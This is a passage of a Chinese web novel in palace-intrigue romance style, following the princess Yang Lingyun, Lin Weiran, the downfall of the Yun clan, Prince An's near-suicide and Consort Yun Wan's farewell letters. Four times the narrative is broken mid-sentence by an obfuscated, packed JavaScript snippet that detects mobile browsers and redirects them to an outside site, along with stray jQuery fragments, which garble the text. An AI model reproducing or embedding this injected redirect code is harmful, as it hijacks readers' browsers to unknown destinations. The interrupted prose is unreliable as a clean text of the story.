小皇帝倏然沉默,然后仰头看了看杨灵允:“姐姐,是不是等三哥死了,你就要离开了?” 杨灵允难得一怔,下意识避开了小皇帝明亮的眼睛,“陛下这说的是什么话?我还能去哪?” “你要离开皇城,离开长安。” 一场春雨浇得所有人精神恍惚,小皇帝忍不住脱口而出,“我早就知道,你一直都想离开,想丢下我一个人。” 小皇帝言语间不自觉就带上了几分委屈,脸上沾了些雨水,竟有些像泪水。 面对着小皇帝,杨灵允到底不是铁石心肠。 她将小皇帝拉进屋内,蹲下身子轻叹一声:“姐姐不是要丢下你一个人,姐姐只是……有些累了。” 小皇帝一下就红了眼睛,“我不是想要姐姐一直留在长安,只是,姐姐再多呆两年,等身子养好了再走好不好?魏院判说你身子一直在亏空,我……我担心你。” 他到底还是孩子,说着说着眼睫就挂上了几滴水珠。 杨灵允用手帕替他擦了擦脸,笑道:“魏连望就是爱把话往严重了说,别担心,姐姐没事的。” 说着,她忽然起身,看了眼站在屋外的杨言:“让淑太妃进来吧。” 小皇帝眼眶还红着,不明白杨灵允此举何意。 杨灵允很温柔地对他笑了笑,伸手揉了揉他的脑袋:“去换身衣裳吧,都淋到雨了。” “林魏然还在外面淋着。”王淑均一进太极宫,第一句话就是林魏然,显然是在替林魏然撑腰。 杨灵允还站在屋檐下,仿佛是想通过厚厚的宫墙看到外面的林魏然。 “我听说,王相想让你来打探一下我的意思你都不愿意。怎么,到了他你就愿意了?” 王淑均没理会杨灵允的阴阳怪气,只专注质问一件事:“你要是真不想见他,就让禁军把他带出宫去,何苦这样作践人?” 杨灵允猛然转身,眼底染上薄怒:“是我在作践他吗?是他在逼我!” 王淑均定定地看着杨灵允,华美的面上终于露出了几分疲惫的苍老:“我年纪大了,已经不想掺和你们这些乱七八糟的事。” “只是临安公主,”她声音忽然变得幽远,“有一件事你还不知道。当初端贤皇太后自戕,先帝大怒。当时西北战事吃紧,傅氏不能动,先帝本想拿你泄愤的,是云婉劝下先帝,对外宣称皇后病逝,才让你得以继续安安稳稳地住在未央宫。” 杨灵允脸色骤变,手难以自控地打翻了窗台边的一盆海棠花。 连花带盆撞开了窗子,泥土散落在长廊上,花盆发出碎裂的声音。 但这一切又极快地消散在雨幕中。 王淑均脸上露出类似嘲讽的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473350|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“临安公主,你欠云婉两条命。” 杨灵允喉咙剧烈地滚动了好几下,才挤出沙哑的声音:“你不是很讨厌她吗?为什么要替她说话?” “我是讨厌云婉,”王淑均上前替她关紧了窗子,平静道,“但我知道林魏然前来必是为了云氏和安王的事。我想帮他。” “为什么?” 王淑均一怔,似乎没想到杨灵允为什么会这样问。 困惑在她脸上一闪而过。旋即,她有些释然地笑了:“我也不知道为什么。我以为我这辈子都不会说出这件事的。” “或许就跟当初云婉帮你一样吧。云婉是看着你长大的,她喜欢你,想你过得好。而我喜欢林家这孩子,我想帮帮他。” 这一刻,她仿佛透过生死,看见了那个与她斗了一辈子的女人。 王淑均忽然有些理解了云婉那些过去她觉得伪善的行为。 王淑均来了又走,就剩杨灵允一人站在屋檐下,失神地盯着地上那盆碎裂的海棠花。 这是云婉最喜欢的海棠花。只是在雨水的冲刷下,湿润的泥土与娇艳的花朵混在一起,分不清美丽还是肮脏。 就像云婉对她一样。 杨灵允脱力般靠在了长廊边的柱子上,慢慢抬手遮住了眼睛,声音在雨幕中似笑似哭:“为什么……怎么全都是你啊,贵妃娘娘。” 半晌之后,她缓缓起身,一步步往宫门口走去。雨水打湿了她的面孔,遮住了一切。 杨灵允打开太极宫的门,对不远处的林魏然轻声道:“进来吧。” 45. 第 45 章 太极宫内已经烧热了水,似乎就等着林魏然。 林魏然沐浴过后,换了一身干爽的衣物,才去栖暖殿的正殿见杨灵允。 “你想见我?” 她背对着他,看不清面孔。 林魏然沉默片刻,轻声问道:“一定要现在对云氏动手吗?” “不可以吗?”杨灵允似乎在打理窗台上的什么东西,身上的帔帛微微晃动。 “春闱将至,现在有很多来长安应考的举子都在为云厉打抱不平。” 杨灵允依旧没回头,还弯腰了些想仔细查看窗台上的东西,“所以呢?” “云厉想借举子的笔来逼你收手,你想借举子动乱来牵连安王,”林魏然阖了阖眼,才继续道,“那些举子怎么办?他们如何收场?” 杨灵允又直起身子,很轻地笑了下:“人总要为自己做过的事负责。没有人逼他们这样做,这是他们的选择,就算没了命也怨不得旁人。” “但他们也只是在做他们认为对的事,”林魏然猛然加重了语气,“如果没有这场动乱,他们本可以安安稳稳地来长安应考,一展身手。” 杨灵允终于转过了身,漂亮的眉眼间染着几分嘲讽:“那也是他们自己的选择,我没逼他们。” “那你为何要销毁宋靡手中的云氏罪证?为何要推波助澜地在民间散布云厉是个两袖清风一心为民的好官?” 林魏然步步紧逼地质问着:“宣和,不要把所有人都当傻子。” 沉默渐渐蔓延开来,只有窗外的雨滴滴答答地落着。 “你知道吗,我已经可以治你个大不敬之罪了。” 杨灵允看着林魏然沾着水汽的面孔,轻声道,“我可以让人把你拉出去,下狱,用刑……” 林魏然定定地看着杨灵允,不知从哪来的一股有恃无恐,他微微弯了弯唇:“你舍不得。” “是的,我不会。”杨灵允背靠着倾盆的雨幕,平静的声音清晰地传入林魏然耳中,“因为我喜欢你。那你呢?” 直白的言语在此时的对峙之下显得很不合时宜,不是傻子都知道杨灵允是在打感情牌,但林魏然仍是难以自控地心颤。 他忽然喉结剧烈地滚动了好几下,才控制着声音开口道:“这与此事无关。” “好罢,”杨灵允阖了阖眼,又轻轻点头,“既然如此我们就说回此事,你又能用什么来阻止我,让我收手呢?” 说着,她嘴角又浮出些轻嘲的笑意:“我的感情打动不了你,你不会觉得你的感情就能打动我吧?容时哥哥?” 在杨灵允轻声嘲讽的笑意间,林魏然只定定地看着她的眼睛,一字一字缓慢开口:“傅,氏,养,寇,自,重。” 傅氏是杨灵允的母家,是杨灵允得以立足朝堂的一大支持。 窗外的骤雨忽然停歇,仿佛连雨都被林魏然此言惊住了。 但杨灵允却丝毫没有被威胁到的模样,竟还弯唇笑了下:“是吗?若你有傅氏养寇自重的证据,那我决不手软。” 不知她是仗着林魏然绝对不可能有证据,还是对傅氏也毫无留恋。林魏然觉得是后者。 因为表哥说过,他手中曾有过傅影养寇自重的证据。 底牌用了,却毫无收效。常理来说,林魏然该烦躁的。可他心底却漫上一股难以言喻的心疼——杨灵允这种毫无软肋的模样,到底是一个人捱过了多少痛苦? 思及此处,他慢慢捏紧了双手,用尽所有理智才继续控制住自己的思绪,缓声继续道:“既然公主不在意傅氏,那臣无话可说。” 杨灵允微微眯了眯眼,忽然觉得有些不对劲。 这么容易就放弃了,这不像林魏然的作风。 果然如她所料,林魏然又继续开口了:“赵临的巡案记录中已经记录了云氏与冀州世家勾结,图谋皇位的证据,还有与各地官员的钱.权交易,他都一一记录在案。” 林魏然的声音平静得可怕,像是在陈述一个世人皆知的事实。 杨灵允却陡然变了神色,“赵临是你的人?” “宋靡不也是公主的人吗?”林魏然定定地看着杨灵允,轻声反问。 杨灵允下意识地摩挲着窗台上的海棠花花瓣,甚至还揪下了一片花瓣。 片刻之后,她冷笑道:“云府可没查出半点不该有的金银。钱.权交易,可不是凭你一张嘴说有就有的。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489564|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏然很淡地笑了,仿佛胸有成竹:“证据臣会找到的。” 气氛渐渐变得剑拔弩张。沉默的对视间,就在看谁先妥协。 ……王淑均幽幽的声音又在杨灵允耳边响起——“你欠云婉两条命,临安公主。” 杨灵允狠狠阖了阖眼,揉碎了手心的海棠花瓣,打破了平衡。 她抬脚走近,唇边弯出意味不明的弧度:“既然你什么都知道,什么都有了,为何还要大费周章地跑一趟宫中?” 林魏然看着杨灵允墨黑的眼睛,抬手替她拭去了面上沾着的水珠,轻声道:“我想阻止你。若阻止不了,我也不想瞒着你对付你。” 外面的雨又有了变大的趋势,倾盆而下,雨声骤响。 但窗户关得很严实,雨水没有落进半分,只汇聚成水流,自屋檐缓缓流淌而下,在窗前形成薄薄的水帘。 杨灵允扬手挥开了林魏然的手,转身推开窗,清冽湿润的空气涌入,打破了屋内两人之间的紧张气氛。 她背对着林魏然,轻声开口:“动手前还提前来说一声,你真是有恃无恐啊林魏然。” 她的声音和雨声混在一起,隐隐约约,听不真切。 但林魏然还是慢慢笑开了,然后上前站在了杨灵允身后,似乎是想和她一起看这场春雨。 “我相信你。” 这话几乎是贴在杨灵允耳边说的。 清朗的声音被压低了些,好像真是情人间包含爱意的呓语。 杨灵允没回头,只是反手攥住了他的手腕,用力收紧,像是泄愤。 但她也只做到这个程度了。 “你真的太嚣张了。” 林魏然任由她攥着,鬼使神差间,另一只手轻轻搭上她的肩,疏朗的面孔染上纵容的笑意:“嗯。” 他就是有恃无恐。 “但我不会放过云厉。”直到把林魏然的手腕攥出指印,杨灵允才松开手,终于侧头看了眼林魏然,语气中透着杀意,“云厉必须死。” 林魏然想起了他对安王说的话,但这很快又被他抛到脑后。 他只是慢慢握紧了杨灵允的手,低声允诺:“云厉一定会为他做过的事付出代价。” 46. 第 46 章 三月初十,刑部公开张榜了一份文书。文书中字字句句写满了云氏的罪证。 收受贿赂,卖官鬻爵,杀人藏罪……还有在一年前的三王之乱中,射杀了先太子。 一群书生挤在榜前,难以置信。 有人质问:“证据呢?” 此次张榜的位置就在吴宅附近,所以他们眼睁睁地看着林魏然带人从吴宅搜出了一箱又一箱金银财宝。 最后出来的是安王和宋靡。 宋靡面无表情地看着那堆积的财物,缓声道:“这些都是云厉交由我夫君保管的。” 女人低哑的声音瞬间浇灭了沸腾的人声。闹事的书生们愣愣地看着金贵得晃眼的财宝——这其中无论哪一箱,都是普通人家一辈子都不可能见到的,如今,他们的眼前却有数十箱。 普通人穷尽一生都赚不到的金银,仅仅只是这其中不起眼的一部分。 安王沉默地将宋靡双手铐起,然后眼神投向林魏然。 林魏然环绕一圈,高声道:“春闱将至,公主殿下念着尔等也是一腔热血,不知者无罪,特令大理寺不再追查此事,诸位好好准备春闱便是。” 书生终于渐渐散去,刑部的人忙着将搜出的金银财宝和账本都带回去。 安王握着宋靡双手上的手铐,对林魏然说:“我答应过她,放她一命。” “她杀了吴安。”林魏然沉默片刻,不置可否地说了这一句。 安王毫无动摇:“那又如何?” 林魏然轻叹一声:“那也得先把人带回刑部,还有笔录要做。” …… 给宋靡做笔录的是王清安,林魏然和安王在屋外等着。 “你如何说动她的?” 安王转着手上的扳指,淡淡道:“她也是个可怜人。吴安不是好人,对她的感情中也不乏算计。但到底是夫妻一场,她不可能对吴安没感情。” 说到这,安王脸上浮出一种近乎自嘲的笑:“这种又爱又恨的情感,宣和不会明白,自然更不可能说动宋靡。” 他的话中显然别有所指。 云氏这案子如今在林魏然手上,该怎么判,云厉是死是活,朝中的人都盯着林魏然,安王也不例外。 “我要见我外祖。” 林魏然阖了阖眼:“云厉还在金吾狱,金吾卫那边一直拖着没有转到刑部这来。” 安王猛然逼近,手上的刀死死按在林魏然脖颈上:“姓林的,别逼我动手。” 他在威胁林魏然,但眼底的痛苦和挣扎林魏然看得一清二楚。 所以他没有动,也没有喊人,只是叹气道:“今夜我带你去金吾狱。” 他觉得,这大约也是安王和云厉的最后一面了。 深夜,闻九大概是没在,林魏然凭着杨灵允的手令畅通无阻地进了金吾狱。 在幽深的地牢门前,他替安王打开了门,自己没有进去。 安王一进去,就看到了铁栏后的云厉——他是被单独关在这的。 已经被关了好几天了,云厉头发都花白了不少,脸色更是憔悴,但一看见安王进来,他猛然扑到铁栏边,眼睛骤亮:“安儿,你来了,那些书生果然没辜负老夫啊!” 安王在离铁栏一步之遥的地方停下了脚步,地牢烛火幽暗,他神色不明,声音暗哑:“外祖,是你蛊惑宋靡杀了吴安,对吗?” 云厉一怔,没想到安王不是来接他出去的。 他忽然觉得有什么事情脱离了他的掌控:“安儿,你什么意思?” “是吗,祖父?”安王又很慢地问了一遍。 云厉皱眉:“吴安已被长公主收买,自然不能再留。” “收买?”幽暗之中,安王竟很轻地笑出了声,“外祖,到现在了你还在骗我。你分明就是把云家的金银财宝都通过吴安藏起来,又怕吴安泄密,才一石二鸟,借吴安杀了赵临,再蛊惑宋靡杀了吴安。” 他声音中带着苍凉的狠绝,“你逼死了母妃,杀死了这么多人,就为了那个位置是吗?” 云厉心底骤跳——安王前来,好像并不是来放他出去,而是来逼问他的。 “我是为了你啊安儿,”云厉隔着铁栏看着安王,一双饱经风霜的厉眼中满是沉痛,“我是为了安儿你能坐上那个位置,能高枕无忧啊!” 安王慢慢闭上了眼,像是不想再看云厉的眼睛:“你不是为了我,你是为了云氏的荣光。” “云氏的荣光不就是你的荣光吗?”云厉急切道。 “不,”安王几乎是从喉咙中艰难地挤出这个字,声音生涩,“这种用人血堆砌的荣光,我不想要。” 倏然间,云厉脸色变了,变得沉静而肃杀,这是属于在朝堂上搅风弄雨近三十载的云相的面孔。 他好像明白了安王的心思,片刻之后,冷笑一声:“原来你跟你娘一样,都是懦弱之徒。” “别提我娘!”安王猛然睁眼,厉声怒道,只是声音生涩,仿佛还有哽咽之音。 云厉脸色已然变得冷漠,看安王的眼神像是看路边的垃圾:“我怎么就养出了你和你娘这种废物。” “闭嘴!” 云厉不依不饶,继续冷笑道:“好,既然你看不上我的手段,那杀了我啊!今夜就杀了我,拿我的脑袋去杨灵允脚下摇尾乞怜,窝囊地过完这辈子,来啊!” 安王神色痛苦地看着云厉,缓慢地握紧了手中匕首,声音像是哀求又像是痛苦的挣扎呻.吟:“别说了……别说了……” 他双脚不自觉地缓缓后退,分明是他先前逼着林魏然带他来这的,如今却在不断地后退逃避。 只是云厉对他的痛苦毫无感触,毫不留情:“杨允安,你要记住,云氏倒了,你就是罪魁祸首,你就是云家的罪人。。” …… 安王不知道自己是如何走出这间地牢的。 又或许他从未走出去过。 父皇警告过他不要肖想不属于自己的东西,母妃目光悲伤地对他说,安儿,去冀州吧。云厉步步为营,步步紧逼着让他去夺位。 他这一辈子都被裹挟着困在这场权势的斗争中,母妃拼命想把他推离这场斗争,外祖却拼命想把他拉入这场斗争。 从长安到冀州,他逃不掉的。这是命,他认了。 只是在长安的这些日子,他总会想起冀州的一切……他是个懦弱的逃避之徒,但他也想对得起百姓喊他的那一声冀州王。 安王神色恍惚地看着高台上云婉含笑的画——你会怪我吗,娘,怪我亲手毁了云氏? 他缓缓闭上了眼,看见了云婉。她笑得很温柔,却也很悲伤。她嘴唇张张合合,但他听不清楚…… 不过没关系,娘,我马上就能见到你了。届时无论您有多生气,儿子都受着。 杨允安的嘴角慢慢浮上期待的笑。 …… “你让安王做云厉的监斩官?”林魏然是在午时二刻的时候才收到这个消息的。 自安王那夜去见了云氏之后,就把自己关在京中的亲王府不见人。 而时隔三日,云厉的死刑就下来了。 如今,再过一刻钟,就该行刑了。 林魏然看着忽然出现在自己家门口的杨灵允,皱眉不赞同道:“这会逼死他的。” 杨灵允独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499302|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来,没有带半个随从:“并未公开行刑,刑场那边传来消息,安王还未到。” 林魏然脸色微变,就准备出门。杨灵允拉住了他:“我也去。” 林魏然迟疑:“你去的话……万一刺激到安王……” 杨灵允阖了阖眼,眼底闪过一丝林魏然看不懂的挣扎和妥协,然后重重地吐出一口气:“若他真想给云厉偿命,我去才能说服他。” 亲王府内一片死寂,仆从都被遣散了,他们找遍了所有屋子,也没发现安王的踪迹。 马上就是午时三刻了。 杨灵允看着荒废的园子,忽然神色一变:“祠堂!” 这座亲王府原是先帝朝的一位亲王所建,后门与一座祠堂相连。 但后门是锁着的。 杨灵允用力拉了好几下也没拉开,难得焦躁地抿起了嘴。 林魏然低声让她避开些,然后用肩膀狠狠撞了上去。 门晃动了两下,但依旧没开。 林魏然加重了力气,继续撞门。 几下之后,门终于开了。但他后背的伤口又崩开了些,林魏然能清晰地感受到细密的疼痛自后背传来。 杨灵允有些担忧地看了他一眼,手下意识抚上他的背想看看情况:“还好吗?” 林魏然勉强弯唇笑了笑,不动声色地避开了她,不想把后背的血也染到她手上。 他轻声笑开:“你先去找安王吧,我随后就跟上。”他相信杨灵允说有办法就是有办法。 杨灵允其实还是有些担心林魏然,但马上要午时三刻了,再不找到安王,他怕是真的要跟云厉一起赴死了。 想到这里,杨灵允看了林魏然最后一眼,还是踏进了门中。 门后不远处,踩过满地的枯枝败叶,就是一座不大的祠堂,里面还有一个半靠着的人影,正午的日光反射出他手中物什的幽幽冷光。 杨灵允神色微变,不知从哪爆发出的力气,三步并作两步地冲过去,抬脚踢飞了安王手中的匕首——再慢片刻,那匕首就会直接划破他的脖颈了。 坐在地上的安王终于迟钝地抬起头——他已经三天未进食,现下连起身的力气都没有,自然很轻易地就被杨灵允踢飞了手中的匕首。 但他依旧是神情漠然,脸色苍白,声音沙哑:“你来看我死的吗?长公主?” 杨灵允心底骤然翻涌上一股莫名的复杂感受——曾几何时,自己、哥哥、还有他,关系也能称得上亲密。 他们曾一起捉弄过书房师傅,在师傅的眼皮子底下搞小动作,打碎过长兴宫中的不少东西然后再相互推卸责任。 皇城中的每一个角落留下过他们嬉笑玩闹的声音。 到头来,谁也没想到最终的结局竟会是这般惨淡——阴阳相隔,生死相对。 杨灵允阖了阖眼,弯腰捡起了地上的匕首。 安王竟还有力气弯了下嘴角:“原来是来亲自杀我吗?真是荣幸啊。” 太阳一点点地升起,刺眼的日光照射进来,勾出坐在门边的安王的半身轮廓,连明亮的日光都盖不住他身上的灰败。 杨灵允忽然扬手将匕首扔了出去。 “哐当”一声,匕首落在了门外。 安王终于变了脸色。他挣扎着想起身,去拿回自己最后的东西,但却被蹲下来的杨灵允阻止住了。 杨灵允半蹲在他身前,几乎是按着他转过头,直视着高台之上的云婉,低哑的声音缓缓响起在死寂的祠堂内:“你的命是贵妃娘娘用命给你换来的,你若是想她九泉之下也不得安宁,就尽管去死。” 说着,她翻出了一封信,甩在安王跟前。 47. 第 47 章 “安儿,你若是看到了这封信,想必你与长公主已经走到了再难说合的地步。母亲不知道是长公主要杀你还是你想为了云氏自尽,若是前者,便将这信封中的另一封信交予长公主,若是后者,母亲希望你能将这封信看完。” …… 云婉温柔的面孔又渐渐浮现在安王眼前,记忆中她还是那个宠冠京华的云贵妃,华服加身,珠光宝翠,但都不抵她脸上温柔的笑意。 “这三十年来,先帝扶持云氏,让云氏与朝中的世家大族争锋。你外祖骄傲,想把云氏打造成新的世家,他做了很多事,这些事如今再论个是非对错也没有意义。安儿,母亲只是想让你知道,若你选择揭露你外祖做过的事,母亲绝不会怪你,云氏倒了也绝不是你一人之责,你不必愧疚,更不必以命相抵。” “母亲只希望你能好好活着,活着,比什么都重要。” 安王握着信的指尖难以自控地发颤,干涩的喉咙中发出的声音近乎挣扎:“那你为什么要死啊,娘?” “母亲这一生也做过很多事。” ……云婉像是提前知道了安王的看信时地反应,深宫深夜,骤雨倾盆,她站在书桌前,阖了阖眼,才继续提笔娓娓道来,“如今细细想来,竟恍若隔世,记不清了。” “但我还很清楚地记得一件事,便是一年前的先太子之死。” 字迹到这里忽然晕开些许,旁边还沾了被草草擦拭过的墨迹。 云婉推开窗子,用雨水将自己指尖的墨迹洗干净后,看着沾了墨点的信纸,轻叹一声,还是继续写下去了。 “为保下桃心,我骗了临安公主。这一年来,我寝食难安,多次想将此事与临安公主和盘托出,但每每话到口中,又胆怯了,所以我隐瞒至今,直到你外祖让我杀了临安公主。” “母亲已经害死了先太子,深宫之中,也就这么几个孩子,都是我看着长大的,斗争至此,甚至因我而死,我实在下不去手。母亲累了,安儿,你会理解母亲的吧?” “母亲这一生都没有离开过长安,当年曾听皇后提起,长安之外,更有不少人间仙境。母亲是看不见了,安儿,你去替母亲看看,好吗?” “不要难过,安儿,人总归有这一趟。母亲只是提前了些,母亲会在天上看着你,陪着你的。” ……云婉最后合上了这封信,将它和另一封早已写好的信装进信封。 雨水从没关紧的窗子飘进来,滴在了云婉执笔的手背上。 “滴答……滴答……” 安王攥紧了手中的信纸,青筋暴起的手背上滚落过水珠。 但他已经不是孩子了,不是哭着闹着就能得到自己想要的。 所以他只能缓慢地弓起身子,抬手盖住自己的眼睛,徒劳地挣扎着什么。 水珠在日光的照映下折射出漂亮的颜色,正午的日光将他手上另一封信上的几个字照得清清楚楚—— “宣和亲启。” 杨灵允的眼神落到他手上时,心底猛然一跳。她以为云婉只留了那一封信,求她放过安王。 不要看。一阵莫名的抵抗情绪骤然涌上。杨灵允觉得,这封出乎意料的信,对她来说可能并非好事。 但杨灵允到底还是展开这第二封信,草草看过一眼后,分明做好了心理准备,却还是陡然捏紧了信纸边缘。 在这封信中,云婉终于承认了一年前她欺骗自己的事。不仅如此,她还在信中提及了当年皇后自戕一事,与王淑均所言一样——杨灵允欠她两条命。 信的末尾,字迹潦草,涂涂改改,云婉似乎写了一大段,但又被她草草涂掉,只剩寥寥几句—— “我知道,如今你定会觉得我过去种种都是别有用心。可我就安儿一个孩子,我不能让他出事,所以只能以此卑劣的手段挟恩图报。” “我很抱歉,宣和。先太子的命我来还,云氏的罪我来扛,放过我的孩子吧。是不是王爷,身份贵不贵重都不重要,只要他能好好活着就行。” ……在云婉写完最后一字时,书桌边上的蜡烛忽然灭了一盏。整个屋子瞬间变暗了不少。 仅剩的一盏烛火晃晃悠悠,照着云婉面上那盛装打扮后都遮掩不住的疲惫。 她沉默地看了那封信许久,苍白的指尖颤了又颤,最终还是把它和写给安王的那封信放到了同一个信封中,缓缓合上了眼…… 正午的日光慷慨地照射在门框边,但杨灵允却感觉不到半分暖意,只觉四肢百骸都涌动着细密的寒意。 她慢慢折起信纸,脱力地倚在门边,转头看安王时嘴角扯出似笑非笑的弧度:“三哥,你真的有一个好母亲。” 安王屈着双腿,手肘狠狠压在膝盖上,一手遮住眼睛,一手死死地捏着仅剩的一张信纸,手上青筋暴起,却始终一言不发。 杨灵允似乎也没想得到他的回答,缓缓阖了阖眼,继续低声开口,声音中带上几分细微的自嘲:“你瞧,你的母亲用尽一切在保护你。” 而我的母亲,却从来没为我想过半分。 她咽下了这后半句话,沉默地抬眼看了看高悬的日,刺眼得几乎要让人流泪。 过了很久,安王嘶哑的声音才幽幽响起:“我不能死……” 杨灵允侧头看了他一眼,将手中揉碎的信纸随手扔出去:“贵妃娘娘费尽心思,谋算了一切,我又怎能再杀你?” 她语气满是嘲讽,不知是对自己的,还是对云婉的,抑或是对过去那个以为云婉当真是在乎自己的天真的临安公主。 安王下意识地转头看她。 如今两人都坐在门槛边,倚着残破的木门,没有半点天家的高高在上。 但也是这一刻,他们靠得很近,就跟小时候一样,凑在一起躲在皇城的哪个角落玩耍。 “我……”安王张了张唇,却不知该说什么。 杨灵允从喉间溢出很轻很低的一声笑,声音中带着几分苍凉:“这个时辰,云厉大约已经死了。 在安王骤然捏紧信纸的瞬间,杨灵允阖了阖眼,像是彻底的妥协和认命:“冀州刺史之位目前还空着。告身文书已经备好了。” 安王沉默许久,哑声道:“谢谢。” “不用谢我,”杨灵允抬手遮住了眼,声音低哑,“你该谢谢她。三哥,你真的有一个好母亲。” 她又说了一遍这话。 安王喉结滚动两下,沙哑着开口想解释什么:“我娘她当初帮你的时候也不能未卜先知……” “别说了,”杨灵允很快就打断了他的话,“我不想听这些。” 安王便沉默下来。 他知道,自己作为既得利益者,却还想着杨灵允能理解能接受,当真是有些不知好歹了。 —— 三月十五,先帝最后一位成年皇子,安王,于京中突发心疾而死,享年二十三。 陛下悲痛,举国哀丧。 三月二十日,杨灵允和林魏然去城门口给人送行。 林魏然送的是赵临的妻女,并将赵临之死的来龙去脉尽数告知。 赵清面无表情地听完后,狠狠抬手擦了擦眼睛,冷笑道:“姓赵的他就是个混蛋!家中自己的亲生孩子不顾,为了不相干的人白白去送死。” 春风柔柔抚过,吹落了赵清的发丝。 年幼的乐乐还不了解大人间的事,她只知道父亲去了很远很远的地方,要很久才能回来。 所以她要好好保护母亲。 “娘,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是啊,”杨灵允阖了阖眼,眼底落满泛黄的日光,声音中听不出是自嘲还是羡慕,“就算贵妃娘娘不在了,他也知道,世上有一个人始终无条件地站在他这边,为他做尽所有,在所不惜。” 林魏然的心陡然揪了起来。 握在杨灵允肩上的手一下就收紧了几分,像是想用力抓住她。 “你也有这样的人。” 杨灵允沉默地站在原地,过了好一会才转头看他,很淡地笑了下:“你在说谁,你还是哥哥?” 从头到尾,她都没有提过自己的母亲。 林魏然喉结剧烈地滚动了好几下,即将宣之于口的“我”却始终怎么也说不出来。 最终,他只是抬手替她擦了擦眼角。 也是这时,杨灵允才发觉,不知什么时候她竟流泪了。 “是这光太刺眼了。”她下意识解释道。 林魏然纵容地笑笑,“嗯,这光太刺眼了,我们回去吧。” 直到夕阳西沉,杨灵允回宫,他也没回答她先前的那个问题——他不敢,他跟杨灵允之间还隔着太多东西,他不敢就这样跟杨灵允承认。 再等一等,他看着杨灵允走入宫门的背影心想,等朝堂肃清,海晏河清,朝堂再也不需要他的时候,他就可以回答杨灵允的问题了。 与此同时,在宫门即将关闭的时候,杨灵允忽然回头看了林魏然一眼。 他还站在那里,长身如玉。如今云氏倒了,他便是朝堂人人称颂的肱骨之臣,前途无量。 他对回头望的杨灵允温柔地笑了,眼底好像全是她。 但回头后杨灵允便自嘲地扯了扯嘴角——怎么可能呢?在他的私心之前,永远有其他更重要的东西。 所以就算他先前回答了杨灵允那个问题,她也不会信的。 48. 第 48 章 接下来的日子转瞬即逝,从初春到暮春似乎也就只经过了几场雨。 小皇帝和杨灵允不约而同地没再提过离开一事,只是杨灵允和林魏然之间关系愈发让人捉摸不透。 说变亲近了吧,除却上朝和私下商讨正事之外,林魏然再也没有夜宿过太极宫,杨灵允也再没离开过皇城。 但说变得疏远了吧,小皇帝有一次着急见杨灵允,直接跑去了栖暖殿,就见林魏然将杨灵允压在墙上亲。 他动作放肆,再没有半分属于林太傅的端方温和。 若不是幼荷及时出现,他怕是要直接闯进去将这两人的暧昧明明白白地摆在台面上了。 ……其实这事说到底,是因为杨灵允又喝多了。 自此送走了杨允安之后,她便格外喜爱喝酒,尤爱后劲大的福安酩——醉了就能忘掉一切,就不会想起云婉,也不会想起安王,更不会想起过往了。 魏连望每日来请脉时都愁眉苦脸地劝着她不能再喝了,再喝下去真的有损寿数啊。 但杨灵允每每对此不以为然。他万般无奈,薛清见状,便建议他去找林魏然试试。 那时林魏然正刚刚给小皇帝上完课,正从御书房中出来准备离开,就被魏连望告知了这些——然后几乎是三步并作两步地冲去了栖暖殿。 “公主殿下如今的身子实在不宜饮酒,臣等都劝不住她,还请林太傅帮帮忙。” 魏连望无奈的声音始终环绕在林魏然耳边,他心底难得地涌上怒意——她就非要这么闹着,不听医嘱吗,她一点都不在乎自己的身子吗? 他来栖暖殿时外面无一人守着——太极宫内的宫人都畏惧杨灵允,没事不会来这自找苦吃。 唯二会守在栖暖殿的杨言和幼荷都不知去哪了。 林魏然没工夫想这些,在正厅正殿都没找到杨灵允后,直接推开了寝宫大门。 杨灵允果然在里面,寝宫内飘着福安酩浓醇的香味。 而杨灵允手撑着的桌上已经有了两个空酒壶。 见林魏然推门而入,她也没有不高兴,歪了歪头看着他,烈酒延迟了她的思绪,好一会她才反应过来这是谁,然后轻声笑了:“林太傅啊,怎么来我这了?” 林魏然沉了脸色,大步上前夺过她手中的酒杯——但酒杯已经空了。 杨灵允一下午喝完了整整两壶福安酩。 心底的恐慌担忧夹杂着怒气瞬间爆发,他难得硬了声音对杨灵允质问道:“你在做什么?魏院判说你不能喝酒你不知道吗?” 只是杨灵允似乎丝毫没感受到他的心情,眨了眨眼看着林魏然,还懒洋洋地用手撑着头:“你好大的胆子啊,都敢管到本宫头上了。” 